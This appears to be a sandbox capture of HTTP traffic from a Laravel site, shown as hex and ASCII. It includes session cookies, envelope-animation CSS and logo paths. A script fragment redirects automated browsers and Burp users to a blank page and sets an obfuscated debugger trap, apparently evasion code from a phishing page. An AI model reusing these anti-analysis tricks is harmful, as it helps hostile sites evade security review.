2025-03-25 15:27:29 UTC	1208	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I5ZzUTnrNMyNyrvUcHJ2qPjPa3IBF9vMYUAcUrSCn78E08%2FN6e2xHs7KIKWDWHQqPE%2FXtXFtF1cqbzBtdPXJQosTEC8C8SFbwLVJAXx9k%2F2vTYLaQDIHgieZt1D%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=41451&min_rtt=41409&rtt_var=15558&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2369&delivery_rate=69936&cwnd=247&unsent_bytes=0&cid=692fa57a8794c7c9&ts=184&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 17:27:29 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 15:27:29 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4e 4e 62 44 6c 4d 53 6c 56 56 53 6d 55 79 4f 58 6c 59 62 6e 4a 44 51 55 31 56 63 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 54 67 35 4d 32 35 55 56 58 59 30 59 54 56 30 61 6c 46 50 52 46 52 5a 55 32 78 79 65 54 45 33 53 32 73 33 5a 6d 6c 5a 4d 57 4a 4b 63 47 56 46 54 6d 39 72 4e 6e 68 4c 54 6b 6c 77 51 58 4e 54 55 47 5a 71 4e 69 39 6a 52 32 4e 5a 55 6a 56 6c 65 45 4a 35 62 55 67 32 64 43 38 72 56 58 42 58 59 57 35 6f 62 54 4e 6a 4d 6b 64 5a 55 58 64 4f 65 56 68 30 4d 58 56 45 52 6b 74 43 57 46 42 47 57 6a 4d 77 4e 6c 46 6e 4d 7a 46 54 56 58 70 6b 4f 47 31 59 4e 31 5a 74 4b 33 52 54 4c 7a 6c 42 56 6b 5a 47 56 45 68 74 53 48 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHg
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 34 64 66 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 4df1<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 31 32 30 70 78 3b 6c 65 66 74 3a 32 35 70 78 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 20 30 20 34 70 78 20 35 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 68 61 64 6f 77 2d 66 61 64 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 7d 0d 0a 23 66 6c 61 70 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 37 39 70 78 3b 7d 0d 0a 23 65 66 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 34 31 70 78 3b 7d 0d 0a 23 65 66 3e 2e 6c 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 Data Ascii: position:relative;top:120px;left:25px;width:var(--envW);box-shadow:rgba(0,0,0,.25) 0 4px 5px;animation:shadow-fade var(--dur) infinite;}#flapContainer{width:var(--envW);margin-top:179px;}#ef{width:var(--envW);margin-top:-41px;}#ef>.l{width:287px;bac
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 0d 0a 2e 66 6c 61 70 54 72 69 61 6e 67 6c 65 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 66 6c 61 70 53 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 30 64 39 66 66 3b 6d 61 72 67 69 6e 3a 2d 34 38 70 78 20 61 75 74 6f 20 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 Data Ascii: ;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}.flapTriangle{width:var(--flapS);height:var(--flapS);background:#50d9ff;margin:-48px auto 0;border-radius:7px
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 3b 7d 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 64 72 69 76 65 72 20 7c 7c 20 77 69 6e 64 6f 77 2e 63 61 6c 6c 50 68 61 6e 74 6f 6d 20 7c 7c 20 77 69 6e 64 6f 77 2e 5f 70 68 61 6e 74 6f 6d 20 7c 7c 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 63 6c 75 64 65 73 28 22 42 75 72 70 22 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 3b 0d 0a 7d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 Data Ascii: lateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg);}} </style> <script> if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addE
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 7d 29 3b 0d 0a 63 4d 4d 72 5a 72 5a 78 4f 47 20 3d 20 66 61 6c 73 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 76 6a 71 58 4c 64 6f 46 4d 54 28 29 20 7b 0d 0a 20 20 20 20 6c 65 74 20 59 73 66 52 62 73 44 62 4d 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 4d 6d 42 74 56 6e 53 61 78 72 20 3d 20 31 30 30 3b 0d 0a 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 48 6d 50 4c 63 74 6d 61 6d 71 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 62 75 67 67 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 75 46 Data Ascii: ntDefault(); return false;});cMMrZrZxOG = false;(function vjqXLdoFMT() { let YsfRbsDbMd = false; const MmBtVnSaxr = 100; setInterval(function() { const HmPLctmamq = performance.now(); debugger; const uF
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 33 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 32 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e Data Ascii: 1"></div><div class="s s2"></div><div class="s s3"></div></div><div class="r"><div class="s s4"></div><div class="s s1"></div><div class="s s2"></div></div><div class="r"><div class="s s5"></div><div class="s s4"></div><div class="s s1"></div></div></div>
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 20 31 2e 36 33 31 2e 35 36 37 20 32 2e 33 31 38 2e 33 37 37 2e 36 39 2e 39 31 20 31 2e 32 33 20 31 2e 35 38 35 20 31 2e 36 30 32 2e 36 37 33 2e 33 37 33 20 31 2e 34 35 32 2e 35 36 33 20 32 2e 33 31 33 2e 35 36 33 20 31 2e 30 30 36 20 30 20 31 2e 38 36 36 2d 2e 32 30 31 20 32 2e 35 35 34 2d 2e 35 39 37 6c 2e 30 32 37 2d 2e 30 31 37 76 2d 31 2e 39 34 6c 2d 2e 30 38 39 2e 30 36 36 63 2d 2e 33 31 32 2e 32 32 37 2d 2e 36 36 2e 34 30 38 2d 31 2e 30 33 35 2e 35 33 38 61 33 2e 31 32 31 20 33 2e 31 32 31 20 30 20 30 31 2d 31 2e 30 31 34 2e 31 39 37 63 2d 2e 38 33 20 30 2d 31 2e 34 39 37 2d 2e 32 36 2d 31 2e 39 38 32 2d 2e 37 37 32 2d 2e 34 38 35 2d 2e 35 31 33 2d 2e 37 33 2d 31 2e 32 33 33 2d 2e 37 33 2d 32 2e 31 34 20 30 2d 2e 39 31 32 2e 32 35 35 2d 31 2e 36 35 Data Ascii: 1.631.567 2.318.377.69.91 1.23 1.585 1.602.673.373 1.452.563 2.313.563 1.006 0 1.866-.201 2.554-.597l.027-.017v-1.94l-.089.066c-.312.227-.66.408-1.035.538a3.121 3.121 0 01-1.014.197c-.83 0-1.497-.26-1.982-.772-.485-.513-.73-1.233-.73-2.14 0-.912.255-1.65
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 31 2e 30 35 36 2d 2e 31 30 39 63 2d 31 2e 30 31 20 30 2d 31 2e 38 34 35 2e 32 35 38 2d 32 2e 34 38 33 2e 37 36 37 2d 2e 36 34 2e 35 31 32 2d 2e 39 36 37 20 31 2e 31 38 34 2d 2e 39 36 37 20 31 2e 39 39 37 20 30 20 2e 34 32 32 2e 30 37 2e 37 39 38 2e 32 30 39 20 31 2e 31 31 36 2e 31 34 2e 33 32 2e 33 35 35 2e 36 2e 36 34 31 2e 38 33 37 2e 32 38 33 2e 32 33 33 2e 37 32 32 2e 34 37 38 20 31 2e 33 30 32 2e 37 32 38 2e 34 38 38 2e 32 2e 38 35 32 2e 33 37 20 31 2e 30 38 33 2e 35 30 35 2e 32 32 37 2e 31 33 2e 33 38 37 2e 32 36 33 2e 34 37 37 2e 33 39 2e 30 38 38 2e 31 32 37 2e 31 33 33 2e 32 39 39 2e 31 33 33 2e 35 31 32 20 30 20 2e 36 30 34 2d 2e 34 35 32 2e 38 39 37 2d 31 2e 33 38 34 2e 38 39 37 61 33 2e 38 20 33 2e 38 20 30 20 30 31 2d 31 2e 31 37 32 2d 2e 32 Data Ascii: 1.056-.109c-1.01 0-1.845.258-2.483.767-.64.512-.967 1.184-.967 1.997 0 .422.07.798.209 1.116.14.32.355.6.641.837.283.233.722.478 1.302.728.488.2.852.37 1.083.505.227.13.387.263.477.39.088.127.133.299.133.512 0 .604-.452.897-1.384.897a3.8 3.8 0 01-1.172-.2
2025-03-25 15:27:29 UTC	1369	IN	Data Raw: 31 30 31 2e 33 31 39 2d 2e 30 37 2e 35 33 35 2d 2e 31 33 37 2e 36 36 32 2d 2e 32 31 6c 2e 30 32 39 2d 2e 30 31 36 76 2d 31 2e 37 34 33 6c 2d 2e 30 38 37 2e 30 35 38 63 2d 2e 31 31 37 2e 30 37 38 2d 2e 32 36 32 2e 31 34 2d 2e 34 33 32 2e 31 38 38 2d 2e 31 37 2e 30 34 38 2d 2e 33 31 32 2e 30 37 32 2d 2e 34 32 32 2e 30 37 32 2d 2e 34 31 36 20 30 2d 2e 37 32 33 2d 2e 31 31 32 2d 2e 39 31 34 2d 2e 33 33 32 2d 2e 31 39 31 2d 2e 32 32 33 2d 2e 32 38 39 2d 2e 36 31 32 2d 2e 32 38 39 2d 31 2e 31 35 38 56 39 2e 34 38 68 32 2e 31 34 34 7a 22 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 39 2e 39 35 38 68 39 2e 39 35 38 56 2e 30 30 31 48 30 7a 22 20 66 69 6c 6c 3d 22 23 46 30 35 31 32 34 22 3e 3c 2f 70 61 74 Data Ascii: 101.319-.07.535-.137.662-.21l.029-.016v-1.743l-.087.058c-.117.078-.262.14-.432.188-.17.048-.312.072-.422.072-.416 0-.723-.112-.914-.332-.191-.223-.289-.612-.289-1.158V9.48h2.144z" fill="#737474"></path><path d="M0 9.958h9.958V.001H0z" fill="#F05124"></pat